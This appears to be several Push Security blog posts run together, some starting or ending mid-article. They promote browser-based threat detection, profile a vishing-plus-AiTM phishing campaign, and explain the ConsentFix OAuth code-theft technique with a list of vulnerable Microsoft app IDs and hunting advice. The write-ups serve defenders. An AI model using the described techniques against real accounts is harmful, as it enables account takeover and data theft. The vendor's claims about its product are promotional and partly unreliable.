• Find and fix weak, breached, and reused passwords: Push check the posture of all your employee passwords. The browser agent accomplishes this by creating a salted hash of a user’s observed password and then taking the first 8 characters of that hash to store locally in the browser, checking it against a list of 10,000 common basewords and common permutations); flagging if it is reused across accounts (i.e. not unique) and has appeared in a data breach or compromised credential feed.

• Easily deploy to contractors and third-parties: Push’s lightweight extension is easy to deploy to any machine, including those you don’t directly manage. Deploying Push into a dedicated contractor browser profile means you can track third-party logins to your apps exactly like you would an internal employee. 

Final thoughts

Cyber Essentials has taken a meaningful step toward addressing the real threat organizations face in the form of compromised credentials and MFA gaps, but they’re not alone. When missing MFA has led to a cyber breach, it has been met with both regulatory fines and insurance non-payment, with NYDFS in particular leading the charge. 

But this isn’t the only threat organizations face. Modern, browser-native attacks are dominating the breach headlines, with attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, ConsentFix, and session hijacking. 

Push tackles all of these attacks using behavioral threat detection controls, powered by deep browser telemetry, to provide broad detection and blocking capabilities against attacks happening in the browser. This means analyzing the end-to-end process of a webpage loading/running in the browser, and how the user interacts with the page, to spot universal indicators of bad activity. 

Want to learn more about Push and how we can help? Check out our latest product overview, visit our demo library, or book some time with one of our team for a live demo.

If you’re a cloud security architect, you probably don’t think in terms of firewalls and perimeters anymore. You think in control planes. Your job isn’t protecting a box or a subnet; it’s governing a sprawling web of IAM roles, service principals, APIs, and permissions that exist mostly as configuration and code. In this world, the boundary isn’t physical or even networked, it’s defined entirely by how your environment is configured.

The way most teams approached that problem was pragmatic. As cloud environments scaled, it became impossible to secure it by inspection or tribal knowledge. Cloud Security Posture Management tools and, later, Cloud Native Application Protection Platforms emerged to solve a very real problem: visibility and control over cloud configuration at scale. They gave teams a way to continuously assess infrastructure, track misconfigurations, and understand risk across accounts, regions, and services without drowning in raw provider logs.

That capability is important. Without it, cloud security simply doesn’t function. 

CSPM and CNAPP answer the question of “is my cloud environment configured securely?”. They tell you whether an IAM role is too permissive, whether a resource is exposed, or whether a policy violates best practice. They tell you when a user or account is trying to do something they shouldn’t. 

What they don’t answer is a different, increasingly important question: “What happens when attacker behavior is indistinguishable from legitimate user behavior?”

But they can’t stop “legitimate” actions

The gap (or lack of) between legitimate user behavior and malicious abuse is becoming more relevant as cloud breaches change shape. 

In many of today’s incidents, attackers aren’t exploiting misconfigurations or abusing the cloud control plane directly. They’re compromising users. Once an authentication has occurred through illegitimate means, whether phishing, session hijacking, or token theft, the attacker operates entirely within an approved session.

From the perspective of cloud security tooling, very little looks wrong. The identity is valid. The access patterns appear expected. The infrastructure remains correctly configured. As long as the attacker operates within the bounds of what looks “normal”, no alarms are triggered. Meanwhile, sensitive actions are carried out through the browser, using the same interfaces and workflows as a real user.

The gap between the IdP and the final API call — the “missing middle” in your security stack

The browser session sits outside the telemetry and control model of infrastructure-focused cloud security tools. We call this the "missing middle." It’s the space between the IdP login and the final cloud API call. 

In theory, you could try to close the gap by stitching together logs from every SaaS application in your environment. In practice, anyone who’s attempted this knows how quickly it falls apart. 

Each integration is brittle and expensive to maintain, and many applications don’t expose the level of telemetry you actually need, even if you’re willing to fork out for the top Security++ product tier. When you’re dealing with hundreds of apps per enterprise, each with their own configuration complexity, there’s a good chance that your solution focused on “core” cloud apps doesn’t actually have visibility of the full attack surface.

When logs do exist, they rarely show what you actually need. To a CSPM or CNAPP, it looks like an authorized user doing authorized things. A file was accessed or a setting was changed. What those tools can’t see is that the browser session itself was being manipulated in real time.

For modern, cloud-native threat groups, this lack of session-level visibility is their greatest advantage. They bypass the strong configuration and identity controls you’ve already implemented by simply stepping into the authorized stream. And by the time infrastructure-level signals suggest something is wrong, the attacker has already accomplished what they came for.

Secure everything, still lose

At some point, this forces a hard realization: you can do everything “right” at the cloud and identity layers and still lose.

You can lock down infrastructure-as-code, tighten IAM policies, enforce conditional access, and pass every posture check you care about. But none of that changes where access actually happens. When users work in cloud services, they do it through a browser. And once a session is established, that browser session becomes the real control plane.

That’s the shift cloud security teams are running into. The problem isn’t that CSPM or CNAPP failed, it’s that they can’t see the full picture. Bridging the missing middle means treating the browser session itself as something you can inspect and defend.

Why moving detection and response to the browser is the solution

First, detection has to move into the browser. Modern cloud attacks don’t announce themselves with known indicators or suspicious IPs; it’s all about behavior. A phishing kit rendering inside a login page. A session token being silently exfiltrated. A user interacting with a page that looks legitimate but isn’t. You only see those signals by inspecting the page, the scripts, and the user’s interaction, in real time, inside the tab, before any cloud API ever gets touched.

Second, posture can’t stop at the IdP or cloud configuration. It’s not enough to enforce MFA and SSO at a handful of centrally managed apps and assume the rest of the estate follows suit. Shadow SaaS breaks that assumption immediately. Local accounts, duplicate identities, and MFA gaps undermine cloud access controls, even when your AWS or Azure configuration is otherwise airtight. If a sensitive app allows password-only access, that weakness propagates straight back into your cloud environment.

Finally, when something does go wrong, teams need more than a login timestamp and an IP address. They need to know what the user actually saw and did. Click-by-click browser session data is what allows responders to understand intent, scope impact accurately, and determine whether a session was abused or simply used.

Visibility into the browser session holds the answers

If the browser session is where cloud access actually happens, then treating it as a black box is no longer viable.

This is where Push Security fits. Push is designed to cover the missing middle, not by replacing your existing cloud security stack, but by extending it into the one place it can’t reach on its own: the live browser session.

CSPM and CNAPP remain the right tools for securing cloud configuration and infrastructure. They tell you whether IAM policies are sane, resources are exposed, and guardrails are in place. Push addresses a different problem. It focuses on what happens once access is granted, when identity moves from configuration into motion.

Push does this by deploying a browser-native agent, like EDR operates at the host level. That agent gives defenders direct visibility into the application session itself like the page structure being rendered, the user’s interaction with it, and the behaviors attackers rely on when they hijack sessions in real time.

That visibility changes how cloud access can be defended.

• Real-time detection in the browser: Detect in-browser attacker techniques as they happen, left of boom. Phishing kits rendering inside login flows, session tokens being intercepted, credential submission into lookalike pages — Push observes these behaviors directly and can block them before any cloud API is touched or a console is reached.

• Complete visibility into cloud access paths: Build an accurate inventory of how users are actually accessing cloud services. Push surfaces every application in use, including shadow SaaS, and shows which accounts are local, duplicated, missing MFA, or bypassing SSO — crucial visibility that falls between the cracks of application and identity provider. 

• Active hardening at the point of access: Enforce secure login behavior across the entire application surface, not just centrally managed apps. Push can steer users toward using MFA and SSO and block risky credentials on unmanaged tools, closing identity gaps before they’re exploited.

• Session-level context for rapid response: When something does go wrong, Push provides the missing ground truth. Instead of stitching together partial logs or relying on brittle app-level integrations, responders can see exactly what the user saw and did in the browser (from context generated directly from the browser session itself) making it possible to understand intent, assess scope accurately, and contain a compromised session quickly.

Want to learn more about Push? Check out our latest product overview, visit our demo library, or book some time with one of our team for a live demo.

Endpoint Detection and Response (EDR) tooling is fundamental to modern security. It earned its place as a foundational control by moving defense away from static, known-bad indicators and toward deep, real-time detection, investigation, and response based on behavior observed in a live environment.

By running an agent inside the operating system, EDR gave defenders something they never had before: visibility into what was actually happening on the host as it happened, and the ability to act on it.

That agent-level visibility is still incredibly powerful. File system changes, process execution, memory behavior, or registry modifications is the kind of telemetry that enables threat hunting, exposes fileless attacks, and allows teams to contain incidents by isolating a device or killing a malicious process. For anything that touches the endpoint, EDR remains the right tool.

But that’s the key constraint: for anything that touches the endpoint.

But modern attacks have moved beyond the endpoint

The reality of how work gets done has shifted. Most applications are now SaaS-based and accessed entirely through a browser. Employees authenticate, move data, administer systems, and interact with customers inside a browser window. And attackers have followed them there.

When attacks play out in the browser, endpoint-level signals often never appear. From the operating system’s perspective, there’s just a browser process behaving normally. The EDR agent is doing exactly what it was designed to do, but the activity that matters is happening within the browser itself.

That’s the gap teams are running into. EDR protects the integrity of the host, but it has no visibility into the live application session inside the browser. And as attackers consciously avoid the endpoint entirely, that blind spot is becoming harder to ignore.

Attackers are consciously evading EDR

The gap endpoint teams are running into isn’t accidental. It’s the result of attackers adapting to where defenders are strongest (and weakest).

Modern EDR has made compromising the host operating system expensive and noisy. Deep telemetry and constant monitoring mean that even when an attacker manages to execute code on a device, that action is quickly under scrutiny. From there, progress is slow. After all, lateral movement and persistence take time, and all of it carries risk and generates signals defenders are good at catching.

So attackers take a different route. Instead of targeting the OS, they operate inside the browser session, abusing legitimate access paths to cloud applications directly over the internet. The endpoint just sees a browser session, not the malicious activity that's happening inside it.

EDR agents are extremely good at protecting the operating system, but their visibility largely stops at the browser boundary. They can see that a browser process is running. They can’t see what a user is actually interacting with inside a specific tab, or what code is executing within the browser.

This is the shift security teams are feeling. Attacks don’t trigger endpoint alerts because they aren’t endpoint attacks. They unfold inside the browser, over standard web sessions, using legitimate accounts. To EDR, the host is unaffected. To the business, the damage is already underway.

How modern attacks circumvent EDR

Examples of modern attacks that are consciously evading EDR by staying off the endpoint include:

• AiTM phishing: Sophisticated attacker-in-the-middle phishing kits render convincing login pages directly in the browser and proxy authentication in real time, stealing credentials or MFA tokens as the user enters them. From the OS perspective, nothing appears unusual; EDR can’t see the page structure or scripts running inside the tab.

• Session hijacking: When attackers obtain a valid session token, they gain persistent access to an account without needing a password at all. Once in use, the session typically blends into normal browser activity, generating no endpoint data.

• Malicious browser extensions: Malicious extensions (either made by attackers or hijacked by them) can read page content, intercept credentials, or siphon session tokens. Because extensions operate inside the browser’s execution model, their behavior is largely invisible to endpoint tooling focused on OS-level activity.

Even attacks that nominally involve the endpoint often stay outside EDR’s strongest visibility. ClickFix-style social engineering is a good example. Attackers manipulate users into taking risky actions that look legitimate, the most prominent example being executing malicious commands on the host that are deliberately obfuscated or broken into benign-looking steps. While EDR may catch the code execution (and any malware the execution attempts to install), these techniques are designed to stay ambiguous enough to avoid reliable detection.

All of these attacks succeed for the same reason: the activity unfolds inside the browser. And because EDR was never designed to observe or control what happens inside a live browser session, attackers can operate there with far less resistance.

Extending detection and response to the browser

Defenders need to meet attackers where they actually operate. That means establishing real detection and response capabilities inside the browser itself.

When endpoint security evolved, it did so by putting an agent on the host to observe behavior, collect telemetry, and act at the source — getting inside the data stream. The same logic applies here. If the browser is where credentials are entered, sessions are established, and attacks unfold, then it needs to be treated as a security surface in its own right. That doesn't mean just looking at web traffic, but examining client-side browser processes and activity that are the best, earliest indicators of bad activity.

This doesn’t replace EDR. EDR secures the host. Identity tools govern authentication. But the browser, the layer that connects users to everything else, is a blind spot. Extending detection and response into that layer fills the gap while complementing the controls that already work.

Your browser detection and response checklist

• Browser-native protection: Running inside the browser is the only way you can see what page a user is interacting with, what scripts are running, and how the session is behaving in real time. It’s also the only place you can reliably distinguish between normal user activity and attacker-driven manipulation.

• Behavioral detection: Detection can’t rely on static indicators. It has to be based on behaviors — like how pages render, how credentials are submitted, and how sessions are established and abused.

• Real-time interception: Response has to be immediate. Blocking credential submission, interrupting a malicious action, capturing high-fidelity context, all of that needs to happen at the point of interaction — before an account is compromised.

This is what it means to extend detection and response to the browser: not another tool bolted onto the stack, but a necessary evolution in how modern attacks are actually stopped.

Want to learn more about Push? Check out our latest product overview, visit our demo library, or book some time with one of our team for a live demo.

If you've been working in security for any length of time, you know where defense starts: the network. Long before cloud-first or SaaS-first became default, the perimeter was where defenders had leverage: visibility, enforcement, and control over traffic moving in and out of the organization.

That mental model hasn’t disappeared. Secure Web Gateways, Cloud Access Security Brokers, and the converged Security Service Edge architecture exist because the problem they solve is still real. Organizations generate an enormous volume of web traffic, and someone has to monitor it, filter it, and enforce policy at scale. These tools sit inline, log metadata, apply categorization, and block what’s already known to be dangerous. Without them, the environment quickly becomes unmanageable and extremely difficult to secure.

They are very good at what they were designed to do: securing the wire. But what happens over the wire is not the full picture.

Traffic isn't the whole picture anymore

A significant amount of activity happens locally, inside the browser, beyond the visibility of network controls. Modern webpages are effectively complicated web apps that are rendered client-side via JavaScript — and not everything that happens on the page is traffic-generating.

That distinction matters more than it used to. Authentication, data access, administrative actions, almost all of it now happens inside a browser tab. As a result, the browser has become a central point of both productivity and risk.

Network tools still see the pipeline of traffic moving back and forth. But attackers have adapted to operate within that pipeline rather than around it. They don’t need to break the connection or trigger obvious anomalies. They target the content rendered inside the browser and the user interacting with it.

That leaves security teams with noisy traffic visibility and very little insight into the actual attack unfolding inside the browser session.

Traffic visibility vs. in-browser context

The modern attacker's playbook is built on a simple idea: stay inside the network’s line of sight without triggering detections or enforcement. Containing operations to the browser layer provides attackers with an easy bypass of many traditional network controls without ever needing to break or evade them outright.

They do this by staying ahead of known-bad detection models, constantly rotating domains and URLs, using anti-analysis techniques, and delivering phishing lures through channels that bypass traditional network ingress points like the email gateway (like social media or SMS). In many cases, the link is never evaluated by perimeter controls at all.

This creates a fundamental visibility gap. Network security tools can see a request going to a legitimate-looking destination, but they can’t observe what happens once the page executes client-side in the browser. Malicious scripts and phishing elements often don’t appear until after the page loads and a user interacts with it, leaving nothing obviously known-bad for network controls to detect.

Blocklists don’t help much here either. Domains rotate constantly, and the window between a phishing site going live and being categorized as malicious is more than enough time for an attacker to succeed. Until that happens, the traffic appears benign and the user is free to interact with the page. And to make matters worse, attackers are leveraging detection evasion techniques designed to frustrate these detections — meaning most bad pages aren't spotted until it's way too late.

Consider attacker-in-the-middle phishing. From the proxy’s perspective, everything looks clean: user → reputable domain → “standard” web traffic. The phishing infrastructure is often hidden behind redirects or conditional logic designed to screen out proxies and scanners. Inside the browser session, however, credentials are intercepted, session tokens are harvested, and MFA is bypassed in real time.

For modern threat groups, these obscured attack vectors lead directly to initial access and account takeover. The network is no longer the control point where the most consequential attacks can be reliably stopped.

Browser telemetry is key to detecting and blocking malicious content in real-time, rather than relying on blocklists using known-bad indicators like domains and IPs that go out of date as quickly as new entries appear.

Securing the browser session is key to stopping modern threats

If the browser is where users actually work, and where attackers actually operate, then that’s the layer that defenders need to understand and control.

Modern web-based attacks don’t succeed because traffic goes uninspected. They succeed because network inspection can’t follow the interaction far enough. Traffic shows where data went, not what the user actually saw or did, and in today’s attacks, that distinction matters.

To stop these threats, you have to see what the user is actually interacting with. Things like what scripts are loading, how the DOM is being manipulated, or whether the login form a user is using is legitimate or being proxied. Those are page-level signals, and they only exist inside the browser tab.

That same shift applies to control. Destination-based blocking breaks down when the destination itself appears legitimate. Effective intervention requires decisions based on behavior as it unfolds so teams can stop risky or malicious activity that would compromise an account.

And visibility can’t stop at centrally managed applications. Shadow SaaS breaks any assumption that access patterns are uniform or fully governed by the IdP. Local accounts, duplicate identities, and password-only logins don’t show up clearly in network telemetry, but they materially expand the attack surface. Seeing every login, across every app, directly from the browser is the only way to build an accurate picture of who has access to what.

Push provides the missing context for network security

At this point, the gap should be clear. Network security gives you strong control over traffic, but very little insight into what actually happens once that traffic lands in a user’s browser.

This is where Push can help.

The Push browser agent extends monitoring into the browser itself, providing the visibility and control that perimeter-based tools can’t deliver. It doesn’t replace SSE, SWG, or CASB. Those tools remain the right way to manage traffic and enforce policy at the edge. Push complements them by operating in the one place they can’t: inside the live browser session.

Push does this by deploying a browser-native agent, similar in spirit to how EDR works at the host level. That agent gives defenders direct insight into what the network can’t see like the page being rendered, how the user is interacting with it, and the attack techniques that play out entirely within the tab.

With Push deployed, teams gain:

• Real-time, in-browser threat detection: Detect and stop attacks like AiTM phishing and session hijacking based on what’s actually happening in the browser. Instead of relying on blocklists or downstream signals, Push identifies attacker behavior as it unfolds and can intervene before credentials or session tokens are stolen.

• Complete visibility into SaaS access: Build a true inventory of user identities and authentication methods across every application in use, including shadow SaaS. Push fills the gaps left by network and IdP logs, giving teams a real picture of where access exists and how it’s being granted.

• Streamlined hardening at the point of access: Use the browser as a control point to enforce secure login behavior everywhere it matters. Mandate MFA, steer users toward SSO, and block risky credentials on unmanaged apps, shifting from reactive cleanup to continuous, preventative hardening.

The result is a unified model and real defense in depth. Network tools secure the pipeline, and Push secures the user moving through it.

Want to learn more about Push? Check out our latest product overview, visit our demo library, or book some time with one of our team for a live demo.

The attacks begin with the attacker calling their victim, impersonating IT staff from their company. They offer to help the employee set up passkeys for logging into the enterprise SSO service, tricking the victim into visiting a specially crafted adversary-in-the-middle phishing site that captures their SSO credentials, MFA codes, and ultimately live session access. 

Once an account is stolen, the attacker logs in to the SSO dashboard to see which platforms they have access to and then proceeds to steal data from them — with the ultimate goal of extorting victims. 

What we know

To date, 100+ companies have been targeted, with infrastructure and domains impersonating their brand to be used in legit-looking campaigns against them. The reality is that the list of targets could be more extensive, and will continue to increase over time. 

SLH claims to be using data stolen in previous breaches, such as the widespread Salesforce data theft attacks reported in 2025, to identify and contact employees. This data includes phone numbers, job titles, names, and other details used to make the social engineering calls more convincing.

The group recently relaunched its Tor data leak site, which currently lists breaches at Betterment (20 million records containing PII), Crunchbase (2 million records containing PII), and SoundCloud (30 million records containing PII).

What’s new?

The best of both worlds? Vishing + AiTM phishing

SLH and threat actors affiliated with “The Com” are no stranger to voice phishing (vishing) or the use of MFA-bypassing Attacker-in-the-Middle (AitM) phishing kits. 

SLH and it’s precursor groups leveraged vishing to great success in the form of help desk impersonation and password/MFA reset attacks as seen in the high profile Marks & Spencer, Co-Op, and Jaguar Land Rover attacks in 2025, as well as the Caesars and MGM attacks in 2023. MFA-bypassing phishing techniques have also long been a part of their arsenal, from the 2022 0ktapus phishing campaign to more recent use of modern AiTM phishing kits. 

But until now, we haven’t seen them used together. 

Get the background on Scattered Lapsus$ Hunters, and how they relate to Scattered Spider, Lapsus$, ShinyHunters, and other Com-affiliated groups in our recent deep dive, unpacking related breaches dating back to 2021 in our recent blog post.

It makes sense to combine these methods. AiTM phishing kits are flexible, highly customizable, and can be used to target a broad range of apps — including all of the major IdP platforms used for SSO. Vishing on the other hand is proven to increase the effectiveness of social engineering attacks when performed by an effective operator — which SLH are proven to be (helped by predominantly native English speakers making up their membership, along with the use of effective voice phishing tools). 

Both vishing and AiTM phishing are identity-first methods that consciously evade traditional security tools and detection controls at the endpoint and network layer. This makes them highly effective in today’s IT environment. 

A new kind of operator-driven AiTM kit

Another unique part about this campaign is that it uses a “live phishing panel” — i.e. a customizable phishing page controlled by the attacker in real time. This enables attackers to dynamically change what a victim sees on a phishing site while speaking to them on the phone. This allows them to guide victims through each step of the login and MFA authentication process.

This is principally to increase the victim’s likelihood of engaging with the phishing page. As you can see in the image below, there are several options that can be presented to the victim — including not just the normal phishing stages of entering credentials and passing MFA checks, but also post-compromise actions (e.g. creating a passkey that would then be controlled by the attacker for persistent access even if an account password is reset). 

At the end of the authentication flow, the threat actor can choose to redirect their target to a “support ticket" closure screen. This allows the threat actor to manually terminate the session once the compromise is complete while providing the targeted user with context that matches the "IT support" ruse. This further reduces the likelihood of post-hoc reporting by a suspicious victim.

Given that this modular, operator-controlled phishing kit is reportedly available “as a service” for criminals, we should expect to see much more of this in future. 

0ktapus 2.0?

As we mentioned earlier, Scattered Spider made their reputation launching phishing attacks against Okta accounts in the 2022 0ktapus campaign. 

The vast majority of phishing attacks target IdP accounts because of the widespread access to downstream apps they grant via SSO. 

This comes at the same time as attackers running campaigns to target LastPass master passwords. This provides a similar level of access to apps in the form of credentials (and sometimes saved passkeys). 

Not only is this a goldmine for attackers looking to steal data or pivot to other systems to be able to launch further attacks (e.g. pivoting to cloud and on-prem services for ransomware deployment) but it’s a nightmare for incident responders. If an attacker can access an app and create a backdoor login method (AKA. a ghost login) it can be very difficult for a security team to identify and clean them up. 

Mandiant has reported how the attacker opportunistically pivots across accessible SaaS platforms (SharePoint, Salesforce, DocuSign, Slack), hunting for specific strings like “poc,” “confidential,” “salesforce,” and “vpn.” Notable tradecraft includes using ToogleBox Recall to delete MFA enrollment notifications from victims’ inboxes and leveraging PowerShell to bulk-download SharePoint content routed through commercial VPN services like Mullvad, Oxylabs, and NetNut. Check out their blog post for some example SaaS activity logs that can be used to investigate a potential compromise.

Check out the excerpt from one of our recent webinars below for more information.

Impact analysis

This combination of methods is likely to increase the success of these malicious campaigns as well as reducing the likelihood of detection. 

It’s well documented that modern phishing attacks use a wide and ever-expanding range of detection evasion techniques — from implementing legitimate bot protection technologies to prevent analysis, to only loading pages if the correct parameters are met — such as coming through a specific URL redirect path, and adhering to “normal” browser configs (excluding unusual browser window sizes and the presence of security analysis tools).

In this case, the malicious payload will only trigger in the event that the delivery is approved by an operator in real time. This means that anyone attempting to find and proactively block a phishing page based on indicators of known-bad is going to have a tough time finding and flagging them. If you haven’t got a community of security analysts sharing and tagging samples of malicious pages, it makes it really hard to find and block them at scale before they hit a victim. And if these convincing attacks aren’t being reported, they’re even less likely to be investigated. This is what we mean when we say that most phishing attacks today are effectively zero-day. 

In this case, it’s worth pointing out that the phone call is essentially the delivery vector for the phishing page. This means there’s no email to intercept and analyse. This isn’t new — non-email vectors now account for more than 1 in 3 phishing attacks intercepted by Push, LinkedIn and Google Search being the top culprits. This effectively cuts out the primary phishing detection surface for most organizations.

All this means that unless you’re able to detect and block these attacks in real time, organizations will find themselves unable to counter this evolving threat. 

The best/only way to do that is to be in the browser. 

How Push stops the attack

As a browser-based detection and response tool, Push is perfectly positioned to detect and block attacks like this in real-time. 

Push harnesses deep browser telemetry to detect and block phishing based on behaviors, not static indicators. By analyzing how phishing pages behave and how users interact with them, Push uncovers fake pages, attempted credential theft, and phishing kits the moment they load in the browser — regardless of the delivery mechanism, and even when the attack has never been seen before. 

This even includes brand new techniques that have never been seen in the wild — such as ConsentFix, which we blocked the first time it was seen targeting our customers, before even realizing it was a new kind of attack.

Push's browser-based controls include:

• Fingerprinting high-risk app passwords so they can only be used on a specific domain. Any attempt to reuse this password elsewhere (such as on a phishing site) results in the attempt being blocked. 

• Multiple browser-based checks looking for indicators of bad, such as cloned elements from legitimate websites, and an ever-growing number of detections relating to phishing kit behaviors and attributes as they are rendered on a page. 

Because Push observes every login made in the browser, you can also use Push to find identities susceptible to phishing attacks, such as those not using phishing-resistant authentication methods (e.g. passkeys), to proactively improve your account hygiene and reduce your attack surface. 

Finally, you can also use our employee verification codes feature as part of a layered defense — a simple, browser-based identity check that gives your employees a reliable way to confirm they’re talking to another employee from your organization. It enables employees to quickly verify that a caller is who they say they are by relaying a rotating 6-digit verification code displayed in every employee's browser via the Push extension. This is an effective way of combating help desk scams too — another favorite of SLH. 

Want to learn more about Push? Check out our latest product overview, visit our demo library, or book some time with one of our team for a live demo.

We saw this attack running across a large network of compromised websites that attackers were injecting the malicious payload into, forming a large-scale campaign that was detected across multiple customer estates.

ConsentFix got a pretty awesome response from the community in a very short space of time. Within days, John Hammond shared a new and improved version of the technique that he’d spun up in his own lab, while security researchers from Microsoft, Glueck Kanja, and other individual contributors all shared analysis and recommendations. 

In this blog, we’re sharing some new insights on the campaign, pulling together some of the top recommendations and resources shared across the community, and predicting what the future holds for this novel technique as it quickly enters the mainstream. 

First though, let’s quickly recap what ConsentFix is and how it works. 

ConsentFix 101

ConsentFix is an attack technique that prompts the victim to share an OAuth authorization code with an attacker via a phishing page. The attacker then enters this code into a target application on their own device in order to complete the authorization handshake and take over the account. 

By hijacking OAuth, attackers can effectively bypass identity-layer controls like passwords and MFA — even phishing resistant authentication methods like passkeys have no impact on this attack, because it sidesteps the authentication process altogether. 

OAuth abuse attacks are not new. Techniques like consent phishing and device code phishing have been around for some time. However, these mainly focus on connecting your primary workspace account (e.g. Microsoft, Google, etc.) to a fraudulent, attacker-controlled application. But this is becoming increasingly difficult in core enterprise cloud environments like Azure due to stricter default configs. That said, device code phishing still featured prominently in the recent high-profile Salesforce attacks in 2025.

What makes ConsentFix so dangerous?

Unlike typical OAuth attacks, the novel ConsentFix approach enabled the attacker to target different types of application to what they usually go after — with big implications for detection and response. In this case, the attacker:

• Specifically targeted first-party Microsoft apps that cannot be restricted in the same way as third-party applications, and are pre-consented in every tenant (meaning users can authenticate to them without admin approval). 

• Leveraged legacy scopes that are outside the scope of default logging to evade detection, and targeted scopes with known Conditional Access policy exclusions.

This means that default controls you’d expect to block malicious OAuth grants don’t apply, you may not have logging enabled to detect it if it did happen to you, and to top it off, conditional access policy exclusions mean that many organizations’ expected controls don’t work as intended in this case. 

ConsentFix campaign recap

Let’s quickly recap how the ConsentFix campaign was implemented. 

The victim is served a page which requires that they verify that they are human by pasting a URL into the phishing page.

Clicking the “Sign In” button opens a legitimate Microsoft login page. If the user is already logged in (which they likely are if working in their normal browser) their account information is already pre-populated and they won’t need to authenticate again. 

Selecting their account redirects them to a localhost URL containing an OAuth authorization code — this is what they then post into the original phishing page to complete the attack. 

Once the attacker gets the URL, they can exchange it for an access token or refresh token for the particular application being targeted — in this case, Azure CLI.

The TL;DR is that the attacker is manually completing an authorization flow that happens when a user logs into Azure CLI — a a command line client that provides you with the ability to easily manage your Azure AD / Entra ID environment. Except in this case, they’re taking the victim’s information to log in on the attacker’s device instead. 

Latest campaign details

Since we shared our blog post, we’ve had a number of additional details come to light about the campaign, which we’ve continued to track. 

It appears to be linked to Russian state-affiliated APT29, as corroborated by threat researchers we’ve been collaborating with. This is consistent with the stealthy tactics we observed, which go far beyond the run-of-the-mill detection evasion techniques we see used in criminal phishing campaigns. 

It shares many similarities with, and appears to be an evolution of, this Russia-affiliated campaign identified by Volexity that featured a manual version of the attack — where they victim was social engineered via email into opening the Microsoft URL, copying the localhost response, and sending it back to the attacker via email. 

Top contributions from the community

As we mentioned earlier, the community response to ConsentFix has been incredible. 

As ever, you get a lot of vendors covering the attack technique with “install our product” as the recommendation. This is to be expected, but it’s misleading when some of these vendors are pushing EDR products that would have absolutely no way of detecting or blocking the attack. 

But cutting through the marketing, a lot of really great resources and recommendations were shared. 

V2.0 released by John Hammond

Within days, John Hammond posted about ConsentFix on his Youtube channel, where he showed off a slick improvement on the ConsentFix implementation used by attackers. In his version, the URL containing the Microsoft authorization code was generated in a pop-up browser window that could simply be drag-and-dropped into the phishing page. 

This implementation is way smoother, making it much more likely that a victim would fall for it. And this took a matter of days… 

Additional vulnerable first-party apps identified

Fabian Bader and Dirk-jan Mollema from Glueck Kanja have shared a great resource on wider first-party apps that are vulnerable to ConsentFix. 

In total, there are 11 apps vulnerable to ConsentFix that also have known Conditional Access exclusions (either for the app generally, or when specific scopes are requested for the app):

• Microsoft Azure CLI: 04b07795-8ddb-461a-bbee-02f9e1bf7b46

• Microsoft Azure PowerShell: 1950a258-227b-4e31-a9cf-717495945fc2

• Microsoft Teams: 1fec8e78-bce4-4aaf-ab1b-5451cc387264

• Microsoft Whiteboard Client: 57336123-6e14-4acc-8dcf-287b6088aa28

• Microsoft Flow Mobile PROD-GCCH-CN: 57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0

• Enterprise Roaming and Backup: 60c8bde5-3167-4f92-8fdb-059f6176dc0

• Visual Studio: 872cd9fa-d31f-45e0-9eab-6e460a02d1f1

• Aadrm Admin Powershell: 90f610bf-206d-4950-b61d-37fa6fd1b224

• Microsoft SharePoint Online Management Shell: 9bc3ab49-b65d-410a-85ad-de819febfddc

• Microsoft Power Query for Excel: a672d62c-fc7b-4e81-a576-e60dc46e951d

• Visual Studio Code: aebc6443-996d-45c2-90f0-388ff96faa56

Predictions for ConsentFix

Based on the speed at which new iterations on the ConsentFix technique were shared by security researchers, and the breadth of apps and possible scopes that can be leveraged, both red teams and criminals will inevitably adopt ConsentFix into their arsenal of TTPs in the near future. It is likely that new ConsentFix variants will emerge imminently (if not already in circulation). 

All security teams responsible for protecting Microsoft environments should ensure that monitoring controls and mitigations are put in place as a matter of high priority. 

Updated recommendations for security teams

As an entirely browser-native attack technique, many traditional security tools and data sources are of limited use when it comes to detecting or pre-emptively blocking this attack. At the same time, the attack exploits default Microsoft security configs to evade both prevention and detection controls.

To be able to tackle modern attacks like ConsentFix that occur entirely within the browser context, it is vital that organizations look to monitor the browser as a detection surface, hunt for signs of malicious activity, and block attacks in real-time — in the same way that you would expect EDR to work for endpoint attacks. 

For organizations relying on Microsoft logging as the sole line of defense against this attack, there are some new recommendations to add to the list thanks to the community response: 

• Ensure that logging for the deprecated AADGraphActivityLogs is enabled.

• Hunt in logs for the Application IDs highlighted above, along with the Resource IDs for Windows Azure Active Directory (00000002-0000-0000-c000-000000000000) and Microsoft Intune Checkin (26a4ae64-5862-427f-a9b0-044e62572a4f)

• Create Service Principals for each of the vulnerable apps and restrict the users that are authorized to access them to reduce the attack surface of users that can be phished with this method.

• Block access to CLI tools via Conditional Access policy and issue exclusions for authorized users/groups. 

Additional resources that may be of use include community-created Elastic detection rules for ConsentFix and further mitigation and hunting guidance from Glueck Kanja. 

Learn more about Push Security

Even though this was a brand new technique, Push intercepted this attack and shut it down before customers could interact with it. 

Push tackles browser-based attacks using behavioral threat detection controls, powered by deep browser telemetry, to provide broad detection and blocking capabilities against attacks happening in the browser. This means analyzing the end-to-end process of a webpage loading/running in the browser, and how the user interacts with the page, to spot universal indicators of bad activity. 

This is the only reliable way to detect malicious websites in a world where IoC-based detections are trivial for attackers to get around. Rather than playing known-bad whac-a-mole, Push detects and blocks even zero-day browser threats in real time.

Push stops browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, ConsentFix, and session hijacking. You don’t need to wait until it all goes wrong either — you can also use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your identity attack surface.

To learn more about Push, check out our latest product overview or book some time with one of our team for a live demo.

Most recently, we reported on:

• A campaign running fake malvertising ads for “Google Ads” in Google Search. 

• A campaign using sophisticated Calendly-themed phishing lures targeting marketing professionals.

• A continuation of the Google Ads malvertising campaign, this time impersonating Ahrefs. 

Why are attackers targeting ad manager accounts?

Ad Manager accounts on platforms like Google, Facebook, and LinkedIn have become lucrative targets for cybercriminals. By compromising these accounts, attackers can exploit the digital advertising ecosystem in various ways for financial gain. 

The ad industry’s scale makes it attractive to fraud. Estimates suggest digital ad fraud cost advertisers tens of billions, potentially nearing $100 billion or more, with projections reaching $172 billion by 2028.

A hijacked Google Ad Manager account gives attackers access to significant ad spend and account data which can be monetized. The tactics range from stealthy ad fraud to overt abuse like malicious ads or extortion schemes.

Here’s how attackers can profit from a compromised ad manager account — and how it impacts your business. 

